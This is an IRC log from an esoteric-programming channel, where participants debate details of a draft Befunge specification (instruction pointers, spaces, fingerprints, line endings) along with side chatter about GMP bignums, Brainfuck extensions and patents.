20:36:43 <cpressey> What am I supposed to think?
20:36:49 <anmaster_l> fizzie, no idea actually
20:36:49 <fizzie> alise: Yes; on a 32-bit system, the MAX_BIGNUM value itself takes 8 gigabytes of storage, though. It's a bit large, but definitely not infinite.
20:36:57 <alise> "If I push values to the stack, I'll use less memory!"
20:36:58 <anmaster_l> Deewiant, nice idea
20:37:08 <alise> "Then The User will love me more!"
20:37:22 <Deewiant> alise: :-D
20:38:06 <fizzie> On a 64-bit system, the GMP MAX_BIGNUM actually takes only 16 gigabytes of storage, which is not so huge (if you compare to the addressable space); they use a signed 32-bit value as the counter of (in this case 64-bit) "limbs" of data bits.
20:38:18 <alise> Ah
20:38:24 <alise> I would use a pointer to the last one
20:38:34 <alise> After all, if you can't address the last bignum you can't access it
20:38:35 <alise> So it's foolproof
20:38:57 <anmaster_l> alise, what says it must be in one sequence=
20:39:00 <anmaster_l> s/=/?/
20:39:12 <anmaster_l> couldn't it be allocated in large chunks
20:39:19 <alise> What?
20:39:25 <pikhq> Hmm. Signed 32-bit value for a length?
20:39:37 <pikhq> That's retarded. Just use size_t.
20:39:43 <anmaster_l> alise, if you are near filling the address space, getting area after the end of the number might be hard
20:39:44 <fizzie> pikhq: The sign bit holds the sign of the actual value.
20:39:56 <anmaster_l> fizzie, ssize_t then?
20:39:58 <alise> fizzie: x_x
20:39:59 <Deewiant> cpressey: Just a nit: I don't like "at the edge of the world", it sounds like there's an actual edge on which you're standing, at the other side is the world and the other side nothing, but you've defined it as including that "nothing" as well
20:40:05 <alise> anmaster_l: not after
20:40:06 <pikhq> fizzie: That's... Silly.
20:40:07 <alise> you point to the last one
20:40:18 <fizzie> pikhq: And they argue that 32 bits is "large enough" and saves four bytes of space from each GMP integer. Hey, I didn't make it.
20:40:26 <cpressey> Deewiant: would "over the edge" be better?
20:40:26 <alise> Deewiant: Which is why cpressey should use traversable cells >:(
20:40:37 <alise> TRAVERSAAAAAAAAAAABLLLLLLLLLLLLLLLlle
20:40:50 <Deewiant> cpressey: I'd prefer that, yes; in my brain the "edge" is the edgemost non-marker cell
20:40:54 <pikhq> fizzie: 4 bytes... Per *number*.
20:41:14 <pikhq> What was that about "premature optimisation"?
20:41:28 <cpressey> Deewiant: But the procedure itself appears... uncontroversial?
20:41:39 <anmaster_l> cpressey, you forgot to reflect the backtrack of the IP I think?
20:41:48 <anmaster_l> cpressey, so now it points in the wrong direction doesn't it
20:41:57 <Deewiant> Right
20:41:59 <anmaster_l> maybe I misread
20:42:04 <anmaster_l> it's somewhat confusing that
20:42:36 <cpressey> anmaster_l: Nothing changes the delta, in this definition
20:42:41 <anmaster_l> cpressey, ah
20:42:42 <pikhq> IMO, GMP on a 64-bit system should be theoretically capable of handling a 2^64 byte number.
20:42:56 <pikhq> Erm. 2^64-1 byte.
20:43:09 <cpressey> Just that the backtrack's path is defined by the reflection of the delta
20:43:41 <Deewiant> Also right.
20:43:46 <alise> pikhq: No overhead?
20:43:47 <Deewiant> In that case, I think it's correct.
20:43:51 <anmaster_l> fizzie, all I can find is http://www.erlang.org/doc/efficiency_guide/advanced.html
20:43:59 <anmaster_l> fizzie, which includes the size of a fixnum in words
20:44:11 <anmaster_l> but bignum seems unlimited according to that
20:44:15 <fizzie> pikhq: I could buy some sort of "compatibility with the 32-bit GMP values" implementation, but they change the actual limb size from 32 to 64 bits...
20:44:21 <alise> cpressey: >_> ... ... TRAVERSED CELLS
20:44:22 <anmaster_l> I'm not about to dig through beam's sources
20:44:36 <cpressey> alise: I'm not seeing how they add anything, yet.
20:44:44 <Deewiant> cpressey: Is the IP the position? If not, I might say "IP's position" in at least a few places there
20:44:49 <alise> cpressey: Well, they are, I think, more precise.
20:44:57 <anmaster_l> alise, how so?
20:44:58 <alise> So fingerprints can do more Funky Stuff without breaking it
20:45:11 <fizzie> anmaster_l: Yes, well, "It is implementation-dependent how much memory the Erlang data types and other items consume"; you could argue that the Erlang-language is capable of having "real" bignums therefore.
20:45:19 <anmaster_l> alise, remember cpressey decided to not define unefunge/trefunge in 111 any more
20:45:25 <alise> Well, for one thing
20:45:28 <alise> Consider
20:45:28 <fizzie> On the other hand, certainly GMP's user-visible API doesn't restrict the value sizes, it's just their implementation of it.
20:45:31 <alise> x
20:45:32 <alise>
20:45:34 <alise> y
20:45:36 <alise> erm
20:45:37 <alise> x
20:45:38 <alise>
20:45:38 <Deewiant> Why no unefunge/trefunge? :-/
20:45:40 <alise> y
20:45:48 <alise> The spaces between x and y are traversable
20:45:55 <alise> Because they hit either x or y (when going diagonally)
20:45:56 <anmaster_l> alise, no one said they aren't?
20:45:57 <alise> eventually
20:45:59 <alise> But x, downwards, isn't
20:46:03 <cpressey> (Unefunge/Trefunge-111 can be derived from Befunge-111 later)
20:46:10 <alise> Because it does not lead to any traversable cell without wrapping
20:46:10 <alise> etc
20:46:12 <alise> So it's more precise
20:46:16 <cpressey> Deewiant: IP is position, yes.
20:46:20 <alise> internal bounds aren't an integer coordinate
20:46:21 <anmaster_l> alise, also they might not. Consider the delta from the space in the middle
20:46:26 <anmaster_l> so it never hits x or y
20:46:30 <anmaster_l> alise, that can happen
20:46:33 <alise> anmaster_l: That's why traversability is defined based on the velocity
20:46:36 <alise> Read the damn definition
20:46:54 <anmaster_l> cpressey, actually, what if there are no cells we can hit
20:46:55 <cpressey> Deewiant: I'm using "EC" for "Execution Context" for "Collection of IP, delta, stack, etc" instead of overloading "IP" to mean all that
20:47:04 <anmaster_l> cpressey, like, some other thread overwrote all with spaces
20:47:07 <anmaster_l> err
20:47:08 <anmaster_l> some other IP
20:47:39 <Deewiant> cpressey: Works for me, although I'd probably prefer IP for the backwards-compatibility (even though -93 used PC, IIRC...)
20:47:45 <anmaster_l> cpressey, or kp was used to overwrite both k and p and anything else in the same "ray"
20:47:48 <cpressey> anmaster_l: Then advancing never terminates
20:47:56 <anmaster_l> cpressey, I guess that is okay
20:48:06 <cpressey> Deewiant: I'll mention the change PC -> IP -> EC in the notes.
20:48:42 <cpressey> anmaster_l: It's not great, but it's tolerable
20:48:57 <anmaster_l> cpressey, btw, I consider IP something that has a position, a delta, a string-mode-flag, a stack-stack plus possibly a few other things
20:49:04 <anmaster_l> what do you consider an IP nowdays then
20:49:16 <Deewiant> What he said: the position
20:49:27 <anmaster_l> ah
20:49:35 <fizzie> It's an "instruction pointer", after all; it sort-of makes sense to be just the position.
20:49:50 <Deewiant> That's arguable either way
20:50:17 <Deewiant> Traditionally an instruction pointer always behaves the same way and thus only "needs" to be the position
20:50:39 <Deewiant> Whereas in Funge, much of what you do involves modifying the way the instruction pointer behaves
20:51:20 <anmaster_l> cpressey, what happens to an ec with delta 0?
20:51:31 <fizzie> Deewiant: Yes, well... on the other hand, even "traditionally" there's the stack which is very much not part of the intstruction pointer; there's some other sort of "context" that groups the IP position and the stack.
20:51:41 <Deewiant> anmaster_l: Again, advancing doesn't terminate.
20:51:49 <anmaster_l> Deewiant, shouldn't it just do nothing
20:51:53 <anmaster_l> and simply rest on it
20:52:04 <Deewiant> fizzie: Sure, there's other stuff, but the stack there isn't so associated with the IP
20:52:06 <anmaster_l> oh wait, it should execute the instruction on the current spot
20:52:10 <anmaster_l> but if that is space then what
20:52:11 <anmaster_l> cpressey, ^
20:52:15 <cpressey> Um, delta 0 will execute the instruction at the IP over and over and over
20:52:31 <anmaster_l> cpressey, what if that instruction is a space though
20:52:32 <fizzie> Deewiant: Right, it's associated with the context, which is what should correspond to the 98 "IP" anyway. :p
20:52:34 <Deewiant> fizzie: It isn't in Funge either, but things like the delta are.
20:52:41 <anmaster_l> cpressey, and what about a j? :D
20:52:59 <Deewiant> anmaster_l: If it's a space advancing doesn't terminate.
20:53:04 <cpressey> anmaster_l: You should be able to figure it out from the spec so far
20:53:13 <cpressey> Not j, the other stuff
20:53:17 <anmaster_l> cpressey, well okay
20:53:26 <anmaster_l> oh needed to ctrl-refresh it
20:53:28 <anmaster_l> strange
20:53:41 <fizzie> Deewiant: I guess you could argue for some sort of intermediate thing where IP is the (position, velocity) pair, and the rest are EC. If you wanted to, for some inexplicable reason.
20:54:03 <Deewiant> fizzie: I'd argue that the string mode is also part of the IP.
20:54:05 <cpressey> On that note, is there a good term for a (position, velocity) pair?
20:54:11 <Deewiant> cpressey: Ray
20:54:24 <cpressey> Deewiant: Hm, ok.
20:54:30 <cpressey> Sort of
20:54:36 <Deewiant> fizzie: And possibly I can argue enough things that it'll just be a matter of convenience to group the rest into the IP as well ;-)
20:54:44 <fizzie> cpressey: Call it a particle, that would be silly-funny.
20:54:45 <alise> cpressey: Agent
20:54:51 <alise> An agent is somewhere, and moves places.
20:54:58 <Deewiant> "A ray is part of a line which is finite in one direction, but infinite in the other. It can be defined by two points, the initial point, A, and one other, B. The ray is all the points in the line segment between A and B together with all points, C, on the line through A and B such that the points appear on the line in the order A, B, C."
20:55:02 <alise> It's directed-acting to modify some state based on some other state.
20:55:03 <Deewiant> -- Wikipedia
20:55:04 <alise> Thus, an agent.
20:55:20 <Deewiant> We define it with A and B-A but that's equivalent.
20:55:46 <fizzie> A (classical) particle has position and velocity too, though. And then you can easily make the position a probability density function and so on in the quantum extensions. :p
20:55:47 <alise> cpressey: Also: TRAVERSABILITY NOW :|
20:55:52 <fizzie> (I am being a bit unserious.)
20:55:57 <Deewiant> alise: What's the point?
20:56:00 <alise> Agent particle
20:56:09 <alise> Deewiant: More formal, more precise, easier to implement
20:56:16 <cpressey> More precise how?
20:56:19 <Deewiant> How is it... yeah
20:56:26 <alise> x
20:56:27 <alise>
20:56:28 <alise> y
20:56:42 <alise> the bounds here aren't rectangular
20:56:47 <alise> only the cell between x and y is traversable
20:57:01 <fizzie> Deewiant: For a typical sort of ray, though, ((0, 0), (1, 1)) and ((0, 0), (2, 2)) would be the same ray; but no-one would claim those to be equivalent for a particle.
20:57:05 <Deewiant> alise: How is this "more precise"
20:57:18 <alise> Because it is, so there
20:57:27 <Deewiant> You really have to define what you mean by "precise" :-P
20:57:39 <cpressey> I think it's probably equivalent, but it adds the burden of distinguishing some cells from others
20:57:50 <fizzie> Aw dang; I waited ~three hours for fungot's Twitter-poster to actually say anything, and then it bailed out due to a typo.
20:57:50 <fungot> fizzie: o jeh, o naw, o naw, o naw, o naw. morfoatari, was charged with manslaughter.
20:58:08 <anmaster_l> ^style
20:58:08 <fungot> Available: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube*
20:58:16 <anmaster_l> ...
20:58:57 <alise> These are the beginnings of a new language.
20:59:08 <alise> Morfoatari means "was charged with manslaughter".
20:59:18 <anmaster_l> cpressey, an IP may also contain IP specific data.
20:59:24 <anmaster_l> err
20:59:26 <anmaster_l> fail
20:59:31 <anmaster_l> fingerprint specific data
20:59:32 <anmaster_l> I meant
20:59:41 <alise> I postulate that either manslaughter = atari, orfo = charged with, and m = past tense,
20:59:42 <alise> or,
20:59:52 <alise> foat = manslaughter, ari = charged with, mor = past tense
20:59:58 <cpressey> anmaster_l: Yes, the fingerprint-semantics-stack-set -- that's mentioned in the defns
21:00:05 <anmaster_l> cpressey, also: unloading a fingerprint isn't well defined. It might be partly unloaded
21:00:29 <anmaster_l> cpressey, well I meant, per-fingerprint data
21:00:35 <anmaster_l> cpressey, as in special flags for MODE
21:00:36 <anmaster_l> or whatever
21:00:41 <cpressey> Unloading fingerprints will be precisely defined to have the same broken behaviour as -98, probably
21:00:55 <cpressey> anmaster_l: That's the fingerprint's business, not the EC's.
21:01:02 <pikhq> alise: And what of "o jeh", and "o naw"?
21:01:03 <anmaster_l> cpressey, I don't think 98 behaviour is actually broken as such
21:01:14 <cpressey> Fine, "stupid behaviour"
21:01:26 <alise> pikhq: jeh/naw are probably yes/no.
21:01:28 <alise> o = it's, I bet.
21:01:28 <Deewiant> I don't think it's stupid either :-P
21:01:29 <anmaster_l> cpressey, I liked it :)
21:01:34 <alise> So It's yes = it's good, it's naw = it's bad
21:01:40 <alise> So it's good, he was charged! But oh the downsides. Bad bad bad.
21:01:55 <cpressey> I'm not sure what else to call something where you can unload it and it's still there
21:02:13 <alise> Consider a newspaper article: "O jeh! O naw, o naw, o naw, o naw. Morfoatari [the criminal but the implications ...]."
21:02:17 <Deewiant> You're not unloading "it" ;-)
21:02:18 <anmaster_l> cpressey, see it as set operations
21:02:26 <Deewiant> Multiset
21:02:52 <cpressey> No, you're unloading all the instructions that are defined in it, no matter what they actually do right now.
21:02:54 <anmaster_l> cpressey, let A and B be sets of the letters each fingerprint implements
21:03:10 <anmaster_l> cpressey, then you have operations like A\B
21:03:11 <cpressey> If that's what you want, it makes more sense to just... list those instructions
21:03:42 <cpressey> If AAAA and BBBB define the same sets of letters, unloading either has the same semantics
21:04:14 <anmaster_l> hm
21:04:29 <fizzie> To add one data point, I have a mild dislike of that; can't quite quantify the amount, but not large.
21:04:30 <cpressey> alise: It's the new *new* Newspeak.
21:04:57 <anmaster_l> cpressey, I quite like the current behaviour, and I see nothing wrong with it
21:05:14 <anmaster_l> cpressey, I might make a fingerprint that allows sending fingerprint instructions between ips or such
21:05:27 <anmaster_l> hey in efunge I could create fingerprints on the fly
21:05:32 <anmaster_l> I just realised this
21:05:45 <anmaster_l> since they are basically a stack of lambdas
21:05:49 <anmaster_l> (funs)
21:06:10 <anmaster_l> sure, they can resolve to a function in a module (what currently happens)
21:06:29 <anmaster_l> but nothing prevents a complete lambda being pushed there
21:07:17 <anmaster_l> cpressey, what about CR for file loading?
21:07:34 <cpressey> anmaster_l: Not supported, use a text converter.
21:07:54 <Deewiant> CR for file loading?
21:08:03 <Deewiant> You mean mac-style line breaks?
21:08:17 <cpressey> I assumed that what what anmaster_l meant
21:08:25 <Deewiant> Why not supported?
21:08:26 <anmaster_l> cpressey, aww, I went to great lengths ensuring any combination of LF CRLF and CR mixed for different lines in a single file worked
21:08:37 <anmaster_l> cpressey, so CRLF is also unsupported I guess?
21:08:49 <cpressey> Deewiant: "file" is a more abstract concept
21:09:01 <anmaster_l> last I checked mycology was encoded in CRLF
21:09:15 <Deewiant> That exposed a bug in rcfunge IIRC
21:09:19 <Deewiant> Which reflected on CR
21:09:31 <anmaster_l> cpressey, so basically it would use native line ending always?
21:09:33 <Deewiant> Or can't remember which, one of the earlier interps.
21:09:37 <cpressey> There is nothing stopping an implementation from providing loading of files in other formats as an option
21:09:43 <cpressey> anmaster_l: No, always 10.
21:09:45 <anmaster_l> cpressey, would actually handling non-native formats be allowed?
21:09:49 <anmaster_l> hm
21:09:59 <Deewiant> cpressey: That's massively inconvenient for windows users
21:10:06 <anmaster_l> cpressey, but that would need to be an explicit option?
21:10:30 <anmaster_l> (which I don't think is a good idea requiring)
21:10:50 -!- augur has quit (Ping timeout: 248 seconds).
21:11:00 <fizzie> Deewiant: It's just payback for "you people" spewing all those CRs everywhere.
21:11:19 <anmaster_l> cpressey, the SGML spaces + ticks had a somewhat tricky semantics iirc
21:11:28 <anmaster_l> cpressey, Deewiant is the right person to ask here iirc
21:11:38 <anmaster_l> I forgot what he thought was the best idea
21:11:39 <Deewiant> I don't really mind myself since I use vim which can easily save in whatever format I want
21:11:44 <Deewiant> But people /do/ use notepad
21:11:53 <Deewiant> And programs default to CRLF
21:11:58 <anmaster_l> c
21:12:04 <anmaster_l> s/c//
21:12:08 <anmaster_l> Deewiant, only on windows
21:12:19 <Deewiant> Yes, that's what I was talking about all along
21:12:30 <anmaster_l> well yes
21:13:30 <fizzie> Incidentally, what about s? The first time I read it, I assumed it pops a value from the stack, writes it to (pos+delta), then continues from the just-written value, but I guess interpreters generally tend to skip it, like ' does? (It's "defined" to be "mirror image" of '.)
21:13:38 <Deewiant> The only trickiness that comes to mind re. SGML spaces is in what order they are meant to work
21:13:56 <fizzie> I guess I was just hoping for a handy "execute the op currently on top of stack" command.
21:14:05 <Deewiant> I mean, where are you after spending three ticks (" included) in "x y"
21:14:14 <anmaster_l> Deewiant, indeed
21:14:20 <anmaster_l> Deewiant, where were you? I forgot
21:14:30 <Deewiant> I think you're on the y
21:14:44 <Deewiant> Seems most sensible to me anyway
21:14:58 <anmaster_l> err
21:14:59 <anmaster_l> how
21:15:04 <cpressey> Why would you not be on the y?
21:15:10 <anmaster_l> well
21:15:14 <cpressey> Enter Stringmode, Push `x`, Push ` `
21:15:16 <anmaster_l> what about *on* the third tick
21:15:23 <Deewiant> cpressey: You /could/ be on the second space, and you'd skip it only next tick
21:15:24 <anmaster_l> cpressey, then skip over the second space?
21:15:44 <Deewiant> I think that was cause for some confusion anyway
21:15:50 <Deewiant> I might misremember, maybe there was some other issue.
21:15:56 <anmaster_l> yes, iirc it exposed a bug in ccbi
21:16:06 <anmaster_l> after we found out it wasn't in cfunge as first thought
21:16:21 <Deewiant> Hmm, I do think I've always done it the same way
21:16:26 <fizzie> cpressey: You need a sort of a "read-ahead" in stringmode to be on the "y" after the third tick, whereas for the other way (skip extra spaces only on the second tick) you don't.
21:16:38 <cpressey> Since the whole "ticks" thing only makes sense when there are multiple ECs, and multiple ECs are optional, I'm thinking of just dropping it.
21:16:50 <anmaster_l> Deewiant, yes but you had a bug that hid a bug in mycology in the tests related to i
21:16:51 <anmaster_l> it*
21:16:53 <Deewiant> cpressey: That'd make everything multithreaded unspecified... which sucks
21:17:10 <cpressey> fizzie: Well, I've always thought of it as execute-then-advance-to-next-thing-that-can-be-executed (stringmode or no)
21:17:33 <anmaster_l> cpressey, indeed
21:17:36 <Deewiant> Right, that's a more general issue I think
21:18:02 <Deewiant> I may've done it as loop { advance-to-next-executable, execute, move by delta }
21:18:08 <cpressey> In "SGML" that means, push space then advance to next (non-space) thing that can be pushed... I don't see any lookahead involved
21:18:27 <Deewiant> cpressey: See what I just said
21:18:52 <Deewiant> If you do it as advance-to-next-executable, loop { execute, move by delta, advance-to-next-executable } there's no problem
21:18:59 <anmaster_l> funny thing... memtest86+ claims L1 speed is 16394 MB/s, L2 speed is 1123 MB/s, and memory speed is 1132 MB/s
21:19:00 <anmaster_l> so...
21:19:11 <anmaster_l> my main memory would be faster than L2?
21:19:32 <Deewiant> Heh
21:21:28 <fizzie> If you really want to be nitpicky, you could complain about this case: IP 1 executes whatever and moves to location X, which contains some executable-looking instruction; then IP 2 overwrites that with space; now what should IP 1 do? A literal reading of the spec is quite clear: " The IP executed is the one at the current position of the IP. Only after that does the IP moves by its delta to a new position."
21:21:56 <fizzie> On the other hand, the spec is equally clear: "-- space -- cannot ever be truly executed, in the sense of it taking up a tick and doing something."
21:23:09 <fizzie> I think at least my interpreters have opted to possibly move the IP even before execution, if the current position happens to be a space or a ;.
21:23:34 <anmaster_l> I'm not sure I handle that separately
21:23:47 <anmaster_l> actually, I think it can't happen
21:24:02 <anmaster_l> since I handle space in my execute_instruction
21:24:02 <Deewiant> It can, if a child IP overwrites your position with a space
21:24:12 <anmaster_l> as a loop that goes forward looking for next non-space
21:24:17 <anmaster_l> so hm
21:24:22 <Deewiant> But does it then execute the next instruction?
21:24:29 <anmaster_l> Deewiant, it does after
21:24:33 <Deewiant> On that tick
21:24:35 <Deewiant> Not the next
21:24:38 <anmaster_l> Deewiant, yes
21:24:45 <Deewiant> So it's all good :-P
21:24:47 <anmaster_l> Deewiant, I return "continue with same ip"
21:24:54 <anmaster_l> instead of "continue with next"
21:24:58 <Deewiant> I know I've broken and unbroken this many times in CCBI
21:25:04 <fizzie> I may have copied that sort of behaviour from some other interpreter, yes.
21:25:06 <anmaster_l> Deewiant, same I think
21:25:17 <anmaster_l> but the thing is
21:25:26 <anmaster_l> I don't search forward at the end of the cycle
21:25:30 <anmaster_l> but at the start of the cycle
21:25:42 <anmaster_l> at the end of the cycle I just move forward one delta
21:25:57 <Deewiant> Right, that's one of two alternatives
21:26:09 <Deewiant> And it's not entirely specified which one is right, I think.
21:26:20 <fizzie> Yes, that's a bit unclear too, since the "move afterwards" part of the spec only says you should move "as specified by the delta".
21:26:25 <anmaster_l> and only when I'm about to execute again I check if it is space, then skip forward and execute whatever is after
21:26:29 <anmaster_l> (assuming non-string mode
21:26:31 <anmaster_l> )
21:26:39 <anmaster_l> (string mode would be somewhat different)
21:26:49 <fizzie> But if you opt for the literal reading of that first part ("you must execute whatever is at the current position, and only move after that") you can't do it like that.
21:27:02 <fizzie> I'm not sure anyone does, though.
21:27:16 <anmaster_l> fizzie, j would be rather different then for example
21:27:25 <fizzie> For one thing, it sas that you have to execute the "IP -- at the current position of the IP".
21:27:26 <anmaster_l> fizzie, especially kj
21:27:30 <fizzie> Which doesn't really sense make.
21:27:35 <anmaster_l> fizzie, this was discussed a few days ago
21:27:36 <anmaster_l> in here
21:31:04 <cpressey> fizzie, that's a good point.
21:31:53 <cpressey> The "search" does have to occur at the beginning, before the first instruction is first executed anyway.
21:32:33 <cpressey> And it might have to happen if some other EC p'ed a space under the IP.
21:32:36 <Deewiant> Yes, that's what I was implicitly demonstrating in my second loop {} style thing
21:32:54 <cpressey> OK, it's clearer now. I'll make a note of it.
21:33:16 <fizzie> And what about that s?-) (Okay, okay, I'll shut up about the s.)
21:33:29 <Deewiant> I think the s is pretty obvious even in -98 :-P
21:34:05 <cpressey> Yeah, I didn't think there was anything tooooo controversial about s?
21:34:46 <anmaster_l> cpressey, indeed I agree
21:35:30 <pikhq> There is a patent on the linked list. Why is there a patent on the linked list.
21:37:22 <olsner> to protect innovation!
21:37:41 <anmaster_l> pikhq, there must be prior art
21:37:49 <anmaster_l> unless that patent is very old
21:37:54 <anmaster_l> so the patent is invalid
21:37:55 <pikhq> anmaster_l: Fairly recent.
21:38:04 <anmaster_l> pikhq, then that patent is invalid
21:38:14 <pikhq> There's tons of prior art. Like, *nearly every program*.
21:38:33 <pikhq> Yes, but validity of patents doesn't matter in the US courts.
21:38:40 <lament> I have written programs that don't use linked lists.
21:38:56 <fizzie> Deewiant, cpressey, anmaster_l: Oh, don't be like that. "s -- pops a value off the stack and writes it into (position + delta)." It doesn't say anything about advancing the pointer any extra, which made it (to me, anyway) sound like it'd be a fancy instruction that'd let you execute what's on top of stack, since (position + delta) is where the execution would normally continue from.
21:39:00 <cpressey> I want lament as my patent attorney
21:39:01 <pikhq> lament: Yes, but linked lists are an absurdly common data structure.
21:39:11 <fizzie> You only get the skipping behaviour from the vague "it's a mirror image of '" description.
21:39:24 <lament> cpressey: that's patently stupid.
21:39:34 <Deewiant> fizzie: See, I don't think it's that vague ;-P
21:39:47 <fizzie> Deewiant: It doesn't define what a "mirror image" is. :p
21:40:13 <cpressey> fizzie: yes, I don't think it was intended to skip over. "Mirror image" is merely, uh, imagery.
21:40:37 <Deewiant> You don't? O_o
21:40:49 <fizzie> Ha, see! Currently de-facto it does skip over, so it's not usable as-is as an "execute what's on stack" thing.
21:41:01 <fizzie> Okay, so it's not a huge space-waster to put a tight curve in there, but still.
21:41:11 <anmaster_l> cpressey, what?
21:42:18 <Deewiant> Executing what's on stack is trivial anyway, err... aycy+bydy+p (only works in Befunge)
21:42:23 <anmaster_l> fizzie, or just some # and j magic
21:42:28 <Deewiant> And needs a few more adds
21:42:31 <Deewiant> But anyway ;-P
21:42:32 <cpressey> I don't remember.
21:42:50 <fizzie> That's not what I'd call "trivial".
21:43:03 <pikhq> data [a] = a : [a] | [];head (x:_)=x;tail(_:xs)=xs
21:43:04 <Deewiant> I was jesting
21:43:09 <pikhq> Ooops, I'm violating a patent!
21:43:39 <cpressey> There were *supposed* to be "store left" and "store right" instructions, and corresponding "fetch", that would store stuff beside the path instead of in it
21:43:40 <fizzie> I have to admit that I haven't ever written a program where I'd actually felt the need to execute what's on stack... but it *could* happen!
21:44:04 <cpressey> I think that was in a 99 proposal
21:44:44 <anmaster_l> 99
21:44:50 <anmaster_l> cpressey, was that a typo for 98?
21:44:54 <cpressey> fizzie: k should have taken its instruction from the stack
21:44:57 <cpressey> anmaster_l: no
21:45:01 <anmaster_l> cpressey, hm okay
21:45:15 <anmaster_l> never heard about the 99 stuff before
21:45:20 <anmaster_l> 96 and 97 yes
21:45:37 <cpressey> That's because no one was interested in anyone's ideas for changes after 98
21:45:47 <anmaster_l> hm okay
21:45:51 <cpressey> There was all kinds of stuff proposed
21:46:11 <anmaster_l> cpressey, well I think they are good ideas, but I also think they should probably be a set of fungoids
21:46:16 <anmaster_l> and then everyone is happy
21:48:16 <fizzie> With the current s, I don't see any specifically elegant way of using it for stack-execution. sX^ and then v< on top of X^ works, but all the looping makes the IP dizzy. If you just jump backwards without changing delta, it's hard to avoid ending up in a loop; you can't do something like s#vX< because the s won't reach up to the X.
21:49:26 <Deewiant> s;> #;X#<
21:49:38 <fizzie> Deewiant: Won't that just overwrite the ;?
21:49:48 <Deewiant> Maybe :-P
21:50:08 <Deewiant> Would be cool if it didn't tho
21:50:25 <fizzie> With a non-cardinal delta you can do it semi-elegantly; assuming dx=2, dy=0 for example you could just svX <.
21:50:48 <anmaster_l> fizzie, what is X there?
21:50:54 <Deewiant> "any"
21:50:56 <fizzie> anmaster_l: The thing that gets overwritten by s.
21:50:59 <anmaster_l> ah
21:51:29 <fizzie> But setting a non-cardinal delta involves an ugly vector.
21:51:53 <Deewiant> eval is supposed to be ugly
21:52:04 <anmaster_l> fizzie, you could also do 0-2 0 'X #vsX x right?
21:52:10 <anmaster_l> or something like that
21:52:36 <fizzie> I guess so.
21:52:45 <anmaster_l> err
21:52:49 <anmaster_l> make that 02-
21:52:51 <anmaster_l> of course
21:53:21 <fizzie> Though 20x svX < is shorter. I just don't like non-cardinal deltas at all, due to theological observations.
21:53:36 <anmaster_l> oh?
21:53:48 -!- augur has joined.
21:53:48 <anmaster_l> oh
21:53:49 <anmaster_l> ffs
21:54:01 <fizzie> Like the old saying goes: God created the cardinal deltas; all else is the work of man.
21:54:06 <fizzie> They fell less holy, you see.
21:55:45 <fizzie> "The all-pervading nature of the program counter"; what a lovely section title from Wikipedia.
21:55:58 <anmaster_l> fizzie, so Cardinalidae is more holy? Huh
21:56:23 <anmaster_l> (algorithm: go to wikipedia disambig page, pick first from list)
21:56:57 <fizzie> On the other hand, bishops move diagonally...
21:57:05 <anmaster_l> haha
21:57:35 <fizzie> There was a related joke I saw somewhere.
21:57:43 <fizzie> "As a chess grandmaster, what's your view on America's war strategy?" "Send in the clergy! They can move diagonally!"
21:58:01 <pikhq> Mmm, SMBC.
21:58:12 <fizzie> That's probably where it was.
21:58:29 <pikhq> It was.
21:59:18 -!- alise has quit (Ping timeout: 252 seconds).
22:01:34 <MissPiggy> where is oklofubp
22:01:52 <MissPiggy> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
22:03:38 -!- AnMaster has joined.
22:04:06 <anmaster_l> night
22:04:16 -!- anmaster_l has quit (Quit: Leaving).
22:06:12 -!- angstrom has joined.
22:07:01 <angstrom> hi guys. how are the extensions { '#', '!' } actually used in brainfuck?
22:07:56 <lament> #!/sbin/brainfuck
22:08:38 <angstrom> as in "#! /bin/bash" ?
22:12:15 <angstrom> lament: my question refers to http://esolangs.org/wiki/Brainfuck#Extensions but what does "print the content of the first few memory cells" mean? kinda vague to me.. '!' should, if i'm right, write the char after it from the source into the current cell
22:14:36 <cpressey> angstrom: I think # is basically "Debug", and not meant to be portable in any serious way.
22:15:17 <fizzie> I've seen # used as a breakpoint instruction in BF too.
22:15:24 <cpressey> Whereas everything before "!" is interpreted as program, and everything after it as input (for interpreters that don't have the usual concept of stdin etc.)
22:15:27 <pikhq> And ! is only used as an "end of code" marker.
22:15:56 <fizzie> ^bf ,[.,]!hello
22:15:57 <fungot> hello
22:15:59 <fizzie> Like that.
22:28:33 <angstrom> ic. i ask, because i'm currently implementing my own bf interpreter, and just wondered, whether there is a mutual understanding of extensions..
22:30:03 <pikhq> Just ignore them, really.
22:31:01 <cpressey> Hm
22:31:02 <angstrom> a command for doing something like printf("%u", *(ptr + cell)); would come in handy though
22:31:46 <angstrom> eg. "^4" which then would print the int stored at (4)
22:32:05 <pikhq> Then add and document it.
22:32:22 <cpressey> <insert bf interp written in bf here>!<insert bf interp written in bf here>!<insert bf interp written in bf here>! ... (this is an infinite stream) ...
22:32:32 <pikhq> cpressey: Yes. :)
22:33:06 <angstrom> i'm not implementing it in bf tho
22:35:04 <fizzie> cpressey: It's turtles all the way down.
22:37:02 -!- tombom has quit (Quit: Leaving).
22:46:24 -!- alise has joined.
22:46:38 <alise> PING google.com (209.85.229.104): 56 data bytes
22:46:38 <alise> 64 bytes from 209.85.229.104: icmp_seq=0 ttl=49 time=445.559 ms
22:46:38 <alise> 64 bytes from 209.85.229.104: icmp_seq=1 ttl=49 time=458.109 ms
22:46:38 <alise> 64 bytes from 209.85.229.104: icmp_seq=2 ttl=49 time=1841.185 ms
22:46:38 <alise> 64 bytes from 209.85.229.104: icmp_seq=3 ttl=49 time=847.884 ms
22:46:40 <alise> 64 bytes from 209.85.229.104: icmp_seq=4 ttl=49 time=999.323 ms
22:46:40 <alise> 64 bytes from 209.85.229.104: icmp_seq=5 ttl=49 time=365.233 ms
22:46:41 <alise> Hi.
22:47:13 -!- Gracenotes has quit (Ping timeout: 260 seconds).
22:47:13 <Gregor> The domain name misogyno.us is available.
22:47:15 <alise> (Explanation: Now I am on my iMac, using this BT FON thing where you pay £5 and get 24 hours of interwebs via Wi-Fi. It is slow; I think the router is some way away.)
22:47:28 <alise> The other computer is connected wiredly; but with a winmodem.
22:47:34 <alise> Shit sucks.
22:47:44 <alise> Gregor: :D
22:48:45 <Gregor> As is coprophago.us , but I don't know what that word is and it scares me ...
22:48:57 <alise> Very bad ping, very bad bandwidth.
22:48:58 <cpressey> Gregor: you don't?
22:48:59 <alise> Gregor: Poo-sexual.
22:49:04 <alise> Like our dear friend coppro.
22:49:10 <Gregor> (Pooppy)
22:49:18 <alise> hey guys what's my lag?
